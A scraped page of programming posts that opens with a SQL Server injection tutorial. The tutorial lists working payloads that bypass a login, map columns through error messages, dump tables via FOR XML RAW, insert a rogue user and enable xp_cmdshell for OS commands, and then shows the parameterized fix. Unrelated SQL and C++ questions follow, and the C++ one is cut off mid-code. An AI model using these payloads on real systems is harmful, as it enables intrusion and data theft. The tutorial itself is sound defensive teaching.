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  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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  • SQL Azure Database Size Calculator

    - by kaleidoscope
    A neat trick on how to measure your database size in SQL Azure.  Here are the exact queries you can run to do it: Select Sum (reserved_page_count) * 8.0 / 1024 From sys.dm_db_partition_stats GO Select sys.objects.name, sum (reserved_page_count) * 8.0 / 1024 From sys.dm_db_partition_stats, sys.objects Where sys.dm_db_partition_stats.object_id = sys.objects.object_id Group by sys.objects.name The first one will give you the size of your database in MB and the second one will do the same, but break it out for each object in your database. http://www.azurejournal.com/2010/03/sql-azure-database-size-calculator/   Ritesh, D

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  • MySQL: operation of summing and division ?

    - by Nick
    Alright, so I have a user table and would like to get the max value for the user with the highest amount of points divided by a score. Below is a rough idea of what I'm looking for: SELECT MAX(SUM(points)/SUM(score)) FROM users I'm not interested in adding up both columns and dividing, rather I'm interested in dividing the points and score for each user and retrieve the highest value out of the lot.

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  • How to optimize dynamic programming?

    - by Chan
    Problem A number is called lucky if the sum of its digits, as well as the sum of the squares of its digits is a prime number. How many numbers between A and B are lucky? Input: The first line contains the number of test cases T. Each of the next T lines contains two integers, A and B. Output: Output T lines, one for each case containing the required answer for the corresponding case. Constraints: 1 <= T <= 10000 1 <= A <= B <= 10^18 Sample Input: 2 1 20 120 130 Sample Output: 4 1 Explanation: For the first case, the lucky numbers are 11, 12, 14, 16. For the second case, the only lucky number is 120. The problem is quite simple if we use brute force, however the running time is so critical that my program failed most test cases. My current idea is to use dynamic programming by storing the previous sum in a temporary array, so for example: sum_digits(10) = 1 -> sum_digits(11) = sum_digits(10) + 1 The same idea is applied for sum square but with counter equals to odd numbers. Unfortunately, it still failed 9 of 10 test cases which makes me think there must be a better way to solve it. Any idea would be greatly appreciated. #include <iostream> #include <vector> #include <string> #include <algorithm> #include <unordered_map> #include <unordered_set> #include <cmath> #include <cassert> #include <bitset> using namespace std; bool prime_table[1540] = { 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0 }; unsigned num_digits(long long i) { return i > 0 ? (long) log10 ((double) i) + 1 : 1; } void get_sum_and_sum_square_digits(long long n, int& sum, int& sum_square) { sum = 0; sum_square = 0; int digit; while (n) { digit = n % 10; sum += digit; sum_square += digit * digit; n /= 10; } } void init_digits(long long n, long long previous_sum[], const int size = 18) { int current_no_digits = num_digits(n); int digit; for (int i = 0; i < current_no_digits; ++i) { digit = n % 10; previous_sum[i] = digit; n /= 10; } for (int i = current_no_digits; i <= size; ++i) { previous_sum[i] = 0; } } void display_previous(long long previous[]) { for (int i = 0; i < 18; ++i) { cout << previous[i] << ","; } } int count_lucky_number(long long A, long long B) { long long n = A; long long end = B; int sum = 0; int sum_square = 0; int lucky_counter = 0; get_sum_and_sum_square_digits(n, sum, sum_square); long long sum_counter = sum; long long sum_square_counter = sum_square; if (prime_table[sum_counter] && prime_table[sum_square_counter]) { lucky_counter++; } long long previous_sum[19] = {1}; init_digits(n, previous_sum); while (n < end) { n++; if (n % 100000000000000000 == 0) { previous_sum[17]++; sum_counter = previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[16] = 0; previous_sum[15] = 0; previous_sum[14] = 0; previous_sum[13] = 0; previous_sum[12] = 0; previous_sum[11] = 0; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 10000000000000000 == 0) { previous_sum[16]++; sum_counter = previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[15] = 0; previous_sum[14] = 0; previous_sum[13] = 0; previous_sum[12] = 0; previous_sum[11] = 0; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 1000000000000000 == 0) { previous_sum[15]++; sum_counter = previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[14] = 0; previous_sum[13] = 0; previous_sum[12] = 0; previous_sum[11] = 0; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 100000000000000 == 0) { previous_sum[14]++; sum_counter = previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[13] = 0; previous_sum[12] = 0; previous_sum[11] = 0; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 10000000000000 == 0) { previous_sum[13]++; sum_counter = previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[12] = 0; previous_sum[11] = 0; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 1000000000000 == 0) { previous_sum[12]++; sum_counter = previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[11] = 0; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 100000000000 == 0) { previous_sum[11]++; sum_counter = previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 10000000000 == 0) { previous_sum[10]++; sum_counter = previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 1000000000 == 0) { previous_sum[9]++; sum_counter = previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 100000000 == 0) { previous_sum[8]++; sum_counter = previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 10000000 == 0) { previous_sum[7]++; sum_counter = previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 